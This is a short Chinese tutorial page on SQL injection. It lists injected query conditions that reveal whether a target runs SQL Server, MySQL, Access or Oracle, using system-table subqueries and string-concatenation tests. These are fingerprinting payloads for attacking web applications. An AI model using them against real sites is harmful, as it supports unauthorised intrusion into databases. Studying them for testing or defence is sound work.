sqlserver类型:
select * from database where name=’李冰’ and (select count(*) from sysobjects)>0
and ‘1’ + ‘1’ = ’11’
mysql类型:
select * from yx_admin where username=’admin’ and (select count(*) from information_schema.TABLES)>0;
and ‘1’ + ‘1’ = ’11’
and CONCAT(‘1′,’1′)=’11’
access类型:
select * from ziliao where 字段0=’崔楠’ and (select count(*) from msysobjects)>0;
and ‘1’||’1’=’11’
oracle类型:
select * from database where name=’王毅’ and (select count(*) from sys.user_tables)>0;
and CONCAT(‘1′,’1′)=’11’
文章标题:sql注入-2.数据库类型
文章链接:https://jssnd.com.cn/3637.html
更新时间:2024年12月11日
本站大部分内容均收集于网络!若内容若侵犯到您的权益,请发送邮件至:3607845@qq.com我们将第一时间处理!
资源所需价格并非资源售卖价格,是收集、整理、编辑详情以及本站运营的适当补贴,并且本站不提供任何免费技术支持。
所有资源仅限于参考和学习,版权归原作者所有,更多请阅读SND网络服务协议。